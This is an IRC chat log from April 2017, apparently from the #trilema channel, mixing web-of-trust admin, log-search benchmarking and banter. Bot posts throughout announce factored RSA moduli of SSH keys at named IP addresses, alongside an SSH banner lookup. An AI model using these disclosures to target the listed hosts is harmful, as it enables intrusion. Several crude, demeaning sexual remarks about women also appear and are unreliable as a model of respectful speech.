1642115;1491884840;lobbes;*gives 1642116;1491884894;lobbes;btw mod6, thanks for this useful gem. It has been very useful a resource combined with the gentoo.org handbook >> http://thebitcoin.foundation/gentoo-stage3-amd64-uclibc-hardened-guide-wFullExamples.txt 1642117;1491884945;trinque;!!gettrust deedbot Framedragger 1642118;1491884946;deedbot;L1: 1, L2: 4 by 4 connections. 1642119;1491884952;trinque;!!gettrust deedbot shinohai 1642120;1491884952;deedbot;L1: 1, L2: 9 by 9 connections. 1642121;1491884956;trinque;!!gettrust deedbot mike_c 1642122;1491884956;deedbot;L1: 0, L2: 8 by 8 connections. 1642123;1491884985;trinque;http://btcbase.org/log/2017-04-11#1641991 << all set. 1642124;1491884985;a111;Logged on 2017-04-11 01:55 mircea_popescu: in other news, i deem http://trilema.com/2017/the-lordship-list-fourth-year/ a done deal ; trinque plox to update deedbot to reflect. 1642125;1491884992;mircea_popescu;chers 1642126;1491885005;mircea_popescu;and welcome teh two new lords! 1642127;1491885011;trinque;hear hear. 1642128;1491885021;BingoBoingo; BingoBoingo may enjoy investing in a french press; great way to brew regular coffee << They don't make those in my size 1642129;1491885038;BingoBoingo;Congrats to the new lordlings 1642130;1491885072;BingoBoingo;brb, sleep 1642131;1491885108;mod6;<+mircea_popescu> and welcome teh two new lords! << indeed, congrats! 1642132;1491885183;mircea_popescu;this actually makes us 13. 1642133;1491886047;ben_vulpes;an auspicious count 1642134;1491886059;mod6;prime! 1642135;1491886154;mircea_popescu;i can scarcely believe how utterly fucktarded usg platforms are. it's eerie. 1642136;1491886179;*;mircea_popescu ended up reading twitter matter, minutes later was "wtf am i reading, holy shit what is this." 1642137;1491886256;mod6;everything usg is fucktarded, phony or both. 1642138;1491886304;ben_vulpes;oh yeah stop wasting cycles on that shit 1642139;1491886362;trinque;only use I have for it is you know, having a lol at whatever the President of the United States of America said 1642140;1491886365;trinque;on Twitter, like they do 1642141;1491886422;mod6;shinohai has some nice sluts on there though 1642142;1491886429;ben_vulpes;dude realdonaldtrump is the only thing hanging off the twitter entry in imperial dns worth reading and that only for lolz and admiration of a grade a 'social media' mastery 1642143;1491886457;mircea_popescu;did he save the babies yet ? 1642144;1491886519;mircea_popescu;anyway, my bad, was bitcoin "related" stuff. it's shocking identical to 5 years ago except new faces and new names. 1642145;1491888426;mod6;well, 188k+ and into blk0002 now... 1642146;1491888646;mod6;lobbes: np! glad it helped. 1642147;1491889268;mircea_popescu;ahhh 1642148;1491889273;mircea_popescu;trilema articles are such a pleasure to write. 1642149;1491890275;deedbot;http://trilema.com/2017/the-story-of-shopping-candlelight-gratis/ << Trilema - The story of shopping ; candlelight gratis. 1642150;1491891919;deedbot;http://phuctor.nosuchlabs.com/gpgkey/FEF1C6C9A890941640110AD479AFDEDCC6132445EEFB2D1F31C1D58AFF1DC4F4 << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.13.9 (ssh-rsa key from 177.234.13.9 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX JAL) 1642151;1491891919;deedbot;http://phuctor.nosuchlabs.com/gpgkey/5A35236F137FD211F772259BD5287EDE9AA09CD8A275F881C74BD97AB8BD0545 << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.3.189 (ssh-rsa key from 177.234.3.189 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1642152;1491891919;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D21502DDC614160506D49019E3A101B1D769C3A49597CAB4B67CBBC0EF4E7592 << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.1.5 (ssh-rsa key from 177.234.1.5 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1642153;1491891919;deedbot;http://phuctor.nosuchlabs.com/gpgkey/BCB4FAF9B7BC2D324C86FD927C713FC337C93F3920E607A6A1789C3897E2756B << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.15.91 (ssh-rsa key from 177.234.15.91 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1642154;1491891919;deedbot;http://phuctor.nosuchlabs.com/gpgkey/CFAA83DBA61419976C5A7EB332195CB3BB611760917DF59CE06273B247798B6D << Recent Phuctorings. - Phuctored: 9931...5093 divides RSA Moduli belonging to '177.234.7.205 (ssh-rsa key from 177.234.7.205 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1642155;1491891919;deedbot;http://phuctor.nosuchlabs.com/gpgkey/BCB4FAF9B7BC2D324C86FD927C713FC337C93F3920E607A6A1789C3897E2756B << Recent Phuctorings. - Phuctored: 8785...1317 divides RSA Moduli belonging to '177.234.15.91 (ssh-rsa key from 177.234.15.91 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1642156;1491912071;Framedragger;http://btcbase.org/log/2017-04-11#1641991 << thank you everyone for the trust :) 1642157;1491912071;a111;Logged on 2017-04-11 01:55 mircea_popescu: in other news, i deem http://trilema.com/2017/the-lordship-list-fourth-year/ a done deal ; trinque plox to update deedbot to reflect. 1642158;1491913275;shinohai;!!up dm0n 1642159;1491913275;deedbot;dm0n voiced for 30 minutes. 1642160;1491915826;Framedragger;http://qntra.net/2017/04/altcointradingbot-io-is-very-sorry-for-your-loss/ href for "Web of Trust" is broken, just fyi shinohai , BingoBoingo 1642161;1491915877;shinohai;ty Framedragger 1642162;1491916548;deedbot;http://phuctor.nosuchlabs.com/gpgkey/CCD76069BB1F8E630905F5A86CF1C77E184381E6A058E428912D0C5937551E5A << Recent Phuctorings. - Phuctored: 1056...7673 divides RSA Moduli belonging to '177.234.2.145 (ssh-rsa key from 177.234.2.145 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1642163;1491916549;deedbot;http://phuctor.nosuchlabs.com/gpgkey/B9546AF73E66CBDE87E3FB00E89C0FE7C53423CDDF964BD60DDEB18B8B6BFE82 << Recent Phuctorings. - Phuctored: 1056...7673 divides RSA Moduli belonging to '177.234.6.145 (ssh-rsa key from 177.234.6.145 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1642164;1491916549;deedbot;http://phuctor.nosuchlabs.com/gpgkey/ABF23DE303BE1C82869D7925F0ACF7A8F54B420469D851530FC4121CBEC0B356 << Recent Phuctorings. - Phuctored: 1056...7673 divides RSA Moduli belonging to '177.234.7.47 (ssh-rsa key from 177.234.7.47 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1642165;1491916550;deedbot;http://phuctor.nosuchlabs.com/gpgkey/CCD76069BB1F8E630905F5A86CF1C77E184381E6A058E428912D0C5937551E5A << Recent Phuctorings. - Phuctored: 9588...0233 divides RSA Moduli belonging to '177.234.2.145 (ssh-rsa key from 177.234.2.145 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1642166;1491916621;Framedragger;^ SSH-1.99-HUAWEI-1.5 & SSH-1.99-DOPRA-1.5 (respectively), heh 1642167;1491916670;Framedragger;(http://btcbase.org/log/2016-08-24#1528254) 1642168;1491916670;a111;Logged on 2016-08-24 02:29 asciilifeform: 'As an open source project, the Yocto Project operates with a hierarchical governance structure based on meritocracy and managed by its chief architect, Richard Purdie, a Linux Foundation fellow. This enables the project to remain independent of any one of its member organizations, who participate in various ways and provide resources to the project.' 1642169;1491917070;shinohai;viva Mexico 1642170;1491917136;*;shinohai wonders if Chihuahuas generated the keys ...... 1642171;1491917783;shinohai;http://btcbase.org/log/2017-04-11#1642126 <<< ty mircea_popescu and all, will try to provide the Republic with ample tits for ages to come. 1642172;1491917783;a111;Logged on 2017-04-11 04:30 mircea_popescu: and welcome teh two new lords! 1642173;1491918172;Framedragger;i'd offer to go for a beer shinohai but unfortunately no portals yet. :/ sad! 1642174;1491918246;shinohai;A virtual vino will have to suffice, cheers! [~]D 1642175;1491918756;deedbot;http://phuctor.nosuchlabs.com/gpgkey/618C883057708482E6963248405A4AA1DE61AE6DF5AA41282A405F9639B69874 << Recent Phuctorings. - Phuctored: 1643...4609 divides RSA Moduli belonging to '216.105.147.114 (ssh-rsa key from 216.105.147.114 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US SC) 1642176;1491918756;deedbot;http://phuctor.nosuchlabs.com/gpgkey/618C883057708482E6963248405A4AA1DE61AE6DF5AA41282A405F9639B69874 << Recent Phuctorings. - Phuctored: 1488...9493 divides RSA Moduli belonging to '216.105.147.114 (ssh-rsa key from 216.105.147.114 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US SC) 1642177;1491921491;deedbot;http://www.contravex.com/2017/04/11/dave-the-ice-man/ << » Contravex: A blog by Pete Dushenski - Dave the ice man. 1642178;1491922090;mod6;wb 1642179;1491922148;mircea_popescu;why ty!\ 1642180;1491923074;shinohai;mod6: o7 1642181;1491923452;mod6;hey shinohai, how goes? 1642182;1491923602;mircea_popescu;"21 matches in 678 log files with 138047 lines (1.5 seconds)." << from lobbes 's logotron. "10 entries in 0.482s" from phf 's logotron. i imagine this log is about 10x as long, how the fuck do you do it phf! 1642183;1491923744;asciilifeform;the magic of not-sql! 1642184;1491923809;mircea_popescu;must be. i wanna look into this one because it is impressive. 1642185;1491923826;shinohai;Good here mod6, abt to check node logs how is yours running today? 1642186;1491923855;mircea_popescu;asciilifeform i expect 1.4mn lines is actually an understatement re trilema logs, afaik he imported the history, should be 2x that. 1642187;1491923896;mircea_popescu;asciilifeform lulzy bit being that Framedragger didn't even implement a search yet, though he has the psql right there :D 1642188;1491923898;asciilifeform;it's still, what, a few 100 MB 1642189;1491923920;mod6;shinohai: good, 235k+ and counting. on blk0004 now. 1642190;1491923920;asciilifeform;0.1s or what, of modern bus clock. 1642191;1491923966;mircea_popescu;aha 1642192;1491923972;mircea_popescu;iirc it was like 60mb or so. 1642193;1491924049;asciilifeform;pretty compact. 1642194;1491924050;mircea_popescu;who else was having a log ? i recall a 3rd, was it ben_vulpes ? 1642195;1491924058;asciilifeform;aha, he does 1642196;1491924063;mircea_popescu;no search though huh! 1642197;1491924072;mircea_popescu;tsk tsk. I THOUGHT DATABASES! 1642198;1491924094;asciilifeform;lulzy, the 1 d00d with a working searchtron, is the one with no sql. 1642199;1491924104;mircea_popescu;you don't say. 1642200;1491924149;Framedragger;shots fired, i will see if i can find time to implement search using pg full text search :) 1642201;1491924154;mircea_popescu;lel 1642202;1491924185;*;mircea_popescu is in awe of the mighty power of the republic, that enchanted space where meaningful comparisons can actually occur, and inform. 1642203;1491924189;Framedragger;fwiw when i was running searchable tor metrics db (>= 80GB tho would need to check) and had search there, it ran ~fine~, including wildcard support. 1642204;1491924207;mircea_popescu;beat the half second, win a caek! 1642205;1491924226;*;trinque still basking in the "oh but yes, we want a standard library of data structures and persistence strategies" 1642206;1491924232;mircea_popescu;as you perhaps imagine, mp will readily turn the ratchet the other way, "Hey phf, i thought lisp worked ?" etc. 1642207;1491924248;asciilifeform;iirc we did this one already 1642208;1491924262;ben_vulpes;http://logs.bvulpes.com/search?q=tits&c=trilema 1642209;1491924273;Framedragger;HA 1642210;1491924290;asciilifeform;notbad 1642211;1491924316;ben_vulpes;only runs through whenever mimi was jointed to a channel 1642212;1491924320;trinque;it only does tits though. 1642213;1491924326;ben_vulpes;lolright 1642214;1491924327;asciilifeform;http://btcbase.org/log/2017-04-11#1642176 << 'International Baptist Missions is an integral ministry of Tri-City Baptist Church. We support missionaries in India, Singapore, Kenya, Romania, Poland, Uruguay, Puerto Rico, the Philippines and Mexico, as well as several Restricted Access Nations.' 1642215;1491924327;a111;Logged on 2017-04-11 13:52 deedbot: http://phuctor.nosuchlabs.com/gpgkey/618C883057708482E6963248405A4AA1DE61AE6DF5AA41282A405F9639B69874 << Recent Phuctorings. - Phuctored: 1488...9493 divides RSA Moduli belonging to '216.105.147.114 (ssh-rsa key from 216.105.147.114 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US SC) 1642216;1491924329;trinque;fuckin sql 1642217;1491924332;asciilifeform;didjaknow. 1642218;1491924336;Framedragger;http://btcbase.org/log/2017-01-27#1608458 1642219;1491924336;a111;Logged on 2017-01-27 20:21 ben_vulpes: logs and search will at the least provide interesting lessons in postgres design and optimization. writing my own disqus, not so much. 1642220;1491924365;ben_vulpes;only does tits for #trilema, #trilema-mod6, #eulora... 1642221;1491924417;ben_vulpes;also can be abused as poor-mans-recent-block-hash-lookup: http://logs.bvulpes.com/search?q=000000000000000001b042da9f20a212b95737e0978c48c113f3f047ec0e7ab4&c=chainstate 1642222;1491924442;shinohai; "blocks" : 382067 <<< I think my ethernet cable is a dud or something, I keep dropping connection the past few days to router. 1642223;1491924443;asciilifeform;ben_vulpes: neato 1642224;1491924444;Framedragger;ben_vulpes: curious, is this using pg full text search (including taking care of tokenising etc)? 1642225;1491924449;mircea_popescu;trinque you gotta understand, up to a certain point i do enjoy executive priviledges that make it easier for me, but nevertheless up to a different point you don't express yourself too well. 1642226;1491924478;mircea_popescu;and unrelatedly, ancient romanian joke : what are the similarities between dog and engineer ? 1642227;1491924495;ben_vulpes;Framedragger: tokenization and strict search work at odds to each other 1642228;1491924504;ben_vulpes;the fts indices are still sitting there unused. 1642229;1491924520;mircea_popescu;ben_vulpes a nice had nfi! what's the time profile ? 1642230;1491924548;ben_vulpes;hm 1642231;1491924556;Framedragger;right, right :) hm i suppose i'd like to do some semantic matching as well, but maybe unneeded dickwaving 1642232;1491924571;mircea_popescu;start with a thing, add dicks to it after. 1642233;1491924600;Framedragger;the genesis of gender in biology is indeed interesting 1642234;1491924622;mircea_popescu;you reading up on the wolbachia thing ? it's not, ftr, the genesis of gender. it's just the first revolutionizing thereof. 1642235;1491924664;Framedragger;actually haven't, just recall searching around when you referred to it. kk. :) 1642236;1491924675;mircea_popescu;:p 1642237;1491924703;*;Framedragger vaguely recalls some theory based on algae. will check laters 1642238;1491924711;trinque;mircea_popescu: yeah, I'd be better off disengaging once past the point of wanting to have the thread at all 1642239;1491924715;mircea_popescu;http://logs.bvulpes.com/search?q=cunts&c=trilema << gimme a fucking break, 12 cunts for 13 lords ? WHO HJERE IS A VIRGIN 1642240;1491924730;trinque;lol 1642241;1491924738;ben_vulpes;explain analyze claims 163 ms 1642242;1491924740;mircea_popescu;trinque that's more like damage control than anything. you'd be better off not ending up in that point eh. 1642243;1491924751;mircea_popescu;ben_vulpes nb. how many lines total ? 1642244;1491924751;trinque;point taken 1642245;1491924772;Framedragger;explain (analyze, buffers) would tell if it's just hitting cache 1642246;1491924775;ben_vulpes;http://p.bvulpes.com/pastes/0qvkq/?raw=true 1642247;1491924786;shinohai;I already have my girl claimed on pages of trilema 1642248;1491924791;mircea_popescu;and since nobody's taking the bait : similarities between dog and engineer : both have intelligent eyes and neither can express itself. 1642249;1491924829;Framedragger;touché 1642250;1491924837;ben_vulpes;i see 66, but not full history. 1642251;1491924840;danielpbarron;oh i thought the "add dicks to it later" line was the punchline to the joke 1642252;1491924865;trinque;http://btcbase.org/log/2015-11-05#1317715 << bee dog dances to communicate 1642253;1491924865;a111;Logged on 2015-11-05 22:07 ascii_field spins, like turtle 1642254;1491925022;mircea_popescu;ben_vulpes mebbe noob, but i can't figure it from the paste. so 40kb of ram and 66 hits but how many total lines or index items or w/e it sifted through ? 1642255;1491925042;mircea_popescu;danielpbarron lol! 1642256;1491925052;mircea_popescu;apparently i made a thing with two dicks by accident. 1642257;1491925198;ben_vulpes;oh oh 1642258;1491925248;Framedragger;that particular query had to sift through 93749 seems like 1642259;1491925251;ben_vulpes;93k in the whole log table, 62k of #trilema entries 1642260;1491925264;mircea_popescu;ah ok. still beats lobbes though. 1642261;1491925468;mircea_popescu;right it's right there on re-read, rows removed by filter 1642262;1491925786;mircea_popescu;trinque btw don't get deterred, we do want deedbot wallet before any kind of deeds search. 1642263;1491925882;*;trinque still on it, has a related item coming from pcengines sometime later this month 1642264;1491925975;mircea_popescu;cool 1642265;1491930811;shinohai;http://btcbase.org/log/2017-04-10#1641564 In which said consumerism reaches Colombia lobbes >>> http://btcinfo.sdf.org/uploads/poo.jpeg 1642266;1491930811;a111;Logged on 2017-04-10 21:25 lobbes: In unrelated lulz, american consumerism moves ever closer to its apex: http://m.imgur.com/Npg7IWR 1642267;1491930873;CompanionCube;remind me why it's so bad for a somewhat-cute poo plush toy to exist? 1642268;1491930889;CompanionCube;if people want to buy it, let them. There's no harm in it's existence. 1642269;1491930929;shinohai;I'm not saying it's bad at all, just happened to recall said girl owned one, had her send selfie to demonstrate. 1642270;1491930951;asciilifeform;http://btcbase.org/log/2015-06-05#1154832 << a thread 1642271;1491930951;a111;Logged on 2015-06-05 03:56 asciilifeform: as it is, half the planet toils so that u.s. schmucks can get tankers full of little orange plastic pumpkins every october to hang on their porch 1642272;1491930980;CompanionCube;shinohai: true, but the original message kinda implies it imo 1642273;1491931059;shinohai;I'll buy the girl whatever physical emoji garbage she likes as long as she continues to get naked to pose with said items. 1642274;1491931070;CompanionCube;lol 1642275;1491931165;trinque;ought to be made to snuggle an actual turd if she asks for one of those things 1642276;1491931177;trinque;honey, this one's organic 1642277;1491931191;asciilifeform;iirc somebody sells a plush ebola also 1642278;1491931196;shinohai;kek 1642279;1491931350;doppler;hahaha are you serious 1642280;1491931496;CompanionCube;doppler: apparently so 1642281;1491931511;CompanionCube;https://diw3mx5cbad20.cloudfront.net/cdn/763486/media/catalog/product/cache/2/image/885x564/9df78eab33525d08d6e5fb8d27136e95/e/b/ebola-cluster.jpg 1642282;1491931532;doppler;incredible 1642283;1491931717;mircea_popescu;asciilifeform i dunno pvc molding takes thatmany hands. 1642284;1491932267;asciilifeform;hands, feedstock, transport ullage, fuel 1642285;1491932279;asciilifeform;it all adds up, plastic pumpkins or britney records 1642286;1491933742;mircea_popescu;yes. and a good way to judge what % of world hands are involved would be to divide the aggregate cost by the aggregate world gdp. 1642287;1491933745;mircea_popescu;it... won't be half. 1642288;1491934061;asciilifeform;i don't have access to anything resembling a reality-based version of either figure. 1642289;1491934129;asciilifeform;the 1 clue i have, is that time when megatonnes of chinese cargo were held up . and there was expectation of shortages, or at least some sort of visible splash in usa konsoomer sector. and there was 0 (in as far as naked eye.) 1642290;1491934162;shinohai;!~google aggregate cost of plush turds 1642291;1491934164;jhvh1;shinohai: Stuffed Plush poop toy Price - AliExpress.com: ; Amazon.com: Etosell Stuffed Pillow Cushion Emoji Poop Shaped ...: ; Amazon.com: Pee & Poo Plush Dolls - Set: Toys & Games: ; RFC - 1149 | BLUG: ; RFC 1149 - Standard for the transmission of IP datagrams on avia ...: 1642397;1491946887;ben_vulpes;i smell whimsy 1642398;1491946890;ben_vulpes;WHIMSY IN THE CODE 1642399;1491952656;Framedragger;(just fyi, mkj (which hosts scriba; separate from siphnos which hosts scan data, phuctor cache, etc.) is going down soon for maintenance, but downtime shouldn't exceed 15min) 1642400;1491954632;deedbot;http://qntra.net/2017/04/30-day-constipation-of-chinese-fiatbitcoin-interfaces-continues-well-beyond-30-days/ << Qntra - "30 Day" Constipation Of Chinese fiat/Bitcoin Interfaces Continues Well Beyond 30 Days 1642401;1491955466;BingoBoingo;Flattering https://archive.is/gwTda 1642402;1491955726;shinohai;kek 1642403;1491959144;shinohai;http://www.wbng.com/story/35123542/pennsylvania-police-stumble-into-big-pot-operation-human-remains-suicide <<< Reefer madness! 1642404;1491959723;mircea_popescu;why the fuck is shaking your head yes called "nodding" and what the fuck do you call shaking your head no in english ?! 1642405;1491959729;mircea_popescu;it shjould be yodding and nodding! 1642406;1491959772;shinohai;English .... the language of smacktards 1642407;1491959915;shinohai;I like how nodding is used to indicate the jerky head movements of drug-addled persons. 1642408;1491960211;asciilifeform;asciilifeform is envious, ~everybody seems to know the detailed zoology of dopeheads, but him 1642409;1491960219;asciilifeform;i dun think i ever even saw one up close. 1642410;1491960294;shinohai;asciilifeform should watch "Breaking Bad" for a primer in drug culture and dopehead zoology. 1642411;1491960302;asciilifeform;it's on the list. 1642412;1491960429;mircea_popescu;asciilifeform forget tv, put up an ad on airbnb/craigslist/whatever the "Conference" dorks favour this year. 1642413;1491960434;shinohai;I'm not a television person much, but it is quite entertaining. There is even a campy Spanish-language remake (Shot in Colombia) 1642414;1491960461;shinohai;or yeah, just rent out rooms to redditards, observe locally 1642415;1491960468;asciilifeform;mircea_popescu: i don't have, or want, a giraffe in my house either. 1642416;1491960478;asciilifeform;though they may be interesting to look at once. 1642417;1491960492;mircea_popescu;i wonder how one rides a giraffe. 1642418;1491960495;deedbot;http://phuctor.nosuchlabs.com/gpgkey/B40EA384235ADACFBB790EFE44ED9B2BE5D8A606C9D4EAA6D6F0D6F5BFA6CDB6 << Recent Phuctorings. - Phuctored: 1409...4493 divides RSA Moduli belonging to '92.103.44.64 (ssh-rsa key from 92.103.44.64 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (reverse.completel.net. FR) 1642419;1491960496;deedbot;http://phuctor.nosuchlabs.com/gpgkey/B40EA384235ADACFBB790EFE44ED9B2BE5D8A606C9D4EAA6D6F0D6F5BFA6CDB6 << Recent Phuctorings. - Phuctored: 1409...8469 divides RSA Moduli belonging to '92.103.44.64 (ssh-rsa key from 92.103.44.64 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (reverse.completel.net. FR) 1642420;1491960499;mircea_popescu;some pretty epic reins... 1642421;1491960814;shinohai;Totally should have reined giraffes in Eulora like this: http://thomaskarlsson.artstation.com/projects/n1qyE 1642422;1491960917;mircea_popescu;lol 1642423;1491962111;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D14BD62A18BB15A270B03A465DB44A0C4DD92D857E53278EECE7AE8C6AE134B3 << Recent Phuctorings. - Phuctored: 1713...5633 divides RSA Moduli belonging to '213.244.13.73 (ssh-rsa key from 213.244.13.73 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (et.s01.p1.cpe1.Leterrain.ntr.completel.fr. FR) 1642424;1491962111;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D14BD62A18BB15A270B03A465DB44A0C4DD92D857E53278EECE7AE8C6AE134B3 << Recent Phuctorings. - Phuctored: 1529...6817 divides RSA Moduli belonging to '213.244.13.73 (ssh-rsa key from 213.244.13.73 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (et.s01.p1.cpe1.Leterrain.ntr.completel.fr. FR) 1642425;1491964132;BingoBoingo; i dun think i ever even saw one up close. << Just find a meeting, go see. 1642426;1491964226;BingoBoingo;Many times dope heads and "dual addicted" are easier to find at meetings than the old fashioned straight drunks 1642427;1491965188;CompanionCube;!$ ssh 92.103.44.64 1642428;1491965189;scriba;ssh banner of 92.103.44.64 as seen on 2016-06-13: SSH-2.0-OpenSSH_4.3p2 Debian-9 1642429;1491965658;ben_vulpes;there is also "nodding off", the junkie thing 1642430;1491965868;BingoBoingo;Anyways meetings are a good place to see a truth very problematic for the socialistard, conversion therapy works whether in the dungeon of mircea_popescu, TMSR work, or 12 steps 1642431;1491965887;shinohai;My girl's purse is debianized, wat do? http://btcinfo.sdf.org/uploads/debianized.jpeg 1642432;1491965911;doppler;give her your system-d. 1642433;1491965926;shinohai;hue 1642434;1491965943;CompanionCube;lol 1642435;1491966049;ben_vulpes;!~bash 4 1642436;1491966049;jhvh1;Last 4 lines bashed and pending publication 1642437;1491966076;mircea_popescu;lmao 1642438;1491966119;CompanionCube;does anyone actual review those though 1642439;1491966129;ben_vulpes;"not those pants, these pants" 1642440;1491966165;shinohai;CompanionCube: they go to contravex at whatever time jhvh1 feels like sending them. 1642441;1491966172;CompanionCube;ah 1642442;1491966183;shinohai;http://www.contravex.com/trilema-bash/ 1642443;1491966227;doppler;neat 1642444;1491966317;CompanionCube;^ 1642445;1491966332;*;CompanionCube found the b-a bash earlier and it has good quotes 1642446;1491966364;ben_vulpes;oh funny, 'score' was removed 1642447;1491966529;shinohai;Don't tell me you miss the upboats ben_vulpes 1642448;1491966868;BingoBoingo; Don't tell me you miss the upboats ben_vulpes << Simple solution, tag everything with >9000 for simply having been nominated for the bash is greater than any number of votes 1642449;1491966928;shinohai;./u/ShitTip tip BingoBoingo 0.0000000000000001 1642450;1491967026;shinohai;Victoria Van Eeek would be proud. 1642451;1491967052;ben_vulpes;shinohai: i miss the spine i had that worked 1642452;1491967095;ben_vulpes;hard to give a shit about database rows when seeing through my own pain is a task in my life all of a sudden 1642453;1491967219;mircea_popescu;what happened to you ? 1642454;1491967233;shinohai;Seems *all* columns are a pain in the ass, even spinal ones 1642455;1491967293;ben_vulpes;as far as i can tell, i brushed my teeth 1642456;1491967298;mircea_popescu;o.O 1642457;1491967302;mircea_popescu;sciatic ? 1642458;1491967308;ben_vulpes;then found myself on the floor 1642459;1491967335;ben_vulpes;yeah not unlikely 1642460;1491967344;ben_vulpes;i've never been...straight 1642461;1491967379;ben_vulpes;hey at least i can remember how jokes are supposed to be shaped 1642462;1491967383;ben_vulpes;that's an improvement over this morning 1642463;1491967385;mircea_popescu;sleep on a plank. 1642464;1491967431;shinohai;If I were near your area, I'd gladly send over the Asian acupuncture/massage girl that does my therapy. 1642465;1491967463;shinohai;Woman can walk on your back and do amazing shit. 1642466;1491967493;ben_vulpes;nobody is walking on my back in this state shinohai. 1642467;1491967506;mircea_popescu;why, it's broken anyway 1642468;1491967552;ben_vulpes;mm, great point 1642469;1491967581;shinohai;I'm telling ya, I had days where I could hardly sit still and 5 minutes with this woman is like Jesus touched you or something. 1642470;1491967612;ben_vulpes;shinohai: the pain feels like its in the discs 1642471;1491967646;mircea_popescu;well, seeing a doctor tomorro or anything ? 1642472;1491967677;ben_vulpes;i've had great success in relieving spasms from the scoliosis, but what i need is less inflammation right now 1642473;1491967686;ben_vulpes;(with acupuncture) 1642474;1491967694;mircea_popescu;so let an ice golem walk on your back 1642475;1491967770;ben_vulpes;mircea_popescu: "momma called the doctor and the doctor said (yeah kid your back's just as fucked as it's ever been), 'that'll be six thousand dollars'" 1642476;1491967814;ben_vulpes;but if you know of a good ice golem i'd love an introduction 1642477;1491967817;shinohai;I prefer Asian women that accept payment in toolbar removal from chrome caused by too much clicking on facebook. 1642478;1491967929;ben_vulpes;unrelatedly, anyone besides me ever try compiling trb with -std=c++11? 1642479;1491968035;mircea_popescu;ben_vulpes you may seriously consider coming over. the doctors here are good and cheap, for that 6k you can fly back and forth half dozen times. 1642480;1491968111;ben_vulpes;aye aye 1642481;1491968129;ben_vulpes;i am very suspicious of back doctors fwiw 1642482;1491968153;mircea_popescu;whyssat ? 1642483;1491968159;ben_vulpes;i have seen too many spines ruined at the hands of people who suggest fixes that "might work, might leave you crippled! we don't even know what's wrong to begin with!" 1642484;1491968211;mircea_popescu;ah 1642485;1491968236;shinohai;ben_vulpes will then become a Stephen Hawking and only be able to communicate using a fuckgoats strapped to his wheelchair. 1642486;1491968239;ben_vulpes;my back problems stem from the scoliosis, and growing lax about maintaining muscle tone on both sides of the spine typically 1642487;1491968243;mircea_popescu;i dunno, am not an expert. from a management pov it's a sound move, fly here and talk to person rather than try and find portland indian. 1642488;1491968258;ben_vulpes;sure, i can see it 1642489;1491968282;mircea_popescu;otherwise, he's a fool who'll vouch for doctors or whores. 1642490;1491968446;ben_vulpes;no vouching for whores? 1642491;1491968455;ben_vulpes;whyssat? 1642492;1491968483;mircea_popescu;not even anything to do with them, too much variance in customer material. maybe you got a dick growing out your ear, what's she to do. 1642493;1491968497;ben_vulpes;a yeah right 1642494;1491968510;mircea_popescu;ars longa pizda breivs. 1642495;1491968523;ben_vulpes;mhm 1642496;1491968540;ben_vulpes;and in other 'i can't believe it's not software': https://josephg.com/blog/electron-is-flash-for-the-desktop/ 1642497;1491968563;mircea_popescu;did i reat the "iota compiler will compile io for js" here ? 1642498;1491968591;ben_vulpes;"on macos it [chrome] even contains a userland usb driver for xbox 360 controllers. i know it's there because i wrote it. sorry." 1642499;1491968603;ben_vulpes;mno? 1642500;1491968622;ben_vulpes;my humor gland is on the blink so i may have nfi what you're actually getting at 1642501;1491968954;mircea_popescu;https://github.com/dariusf/iota 1642502;1491969058;ben_vulpes;it has javascript in it; my bag of fucks is empty except insofar as the poor sods who make "electron apps" provide lol fodder 1642503;1491969142;ben_vulpes;all sorts of interesting and amusing barf compiling trb with -std=c+=11 1642504;1491969202;ben_vulpes;but later. 1642505;1491969401;asciilifeform;in other noose, asciilifeform finally found the betaluminescence tables. 1642506;1491969417;asciilifeform;3+ wks of internetofshit. 1642507;1491969425;mircea_popescu;aww 1642508;1491969558;asciilifeform;k. bower, y. barbanel, y. shret; crc press 2002; 'polymers, phosphors, and voltaics for radioisotope microbatteries' 1642509;1491969567;asciilifeform;mega-b00k. 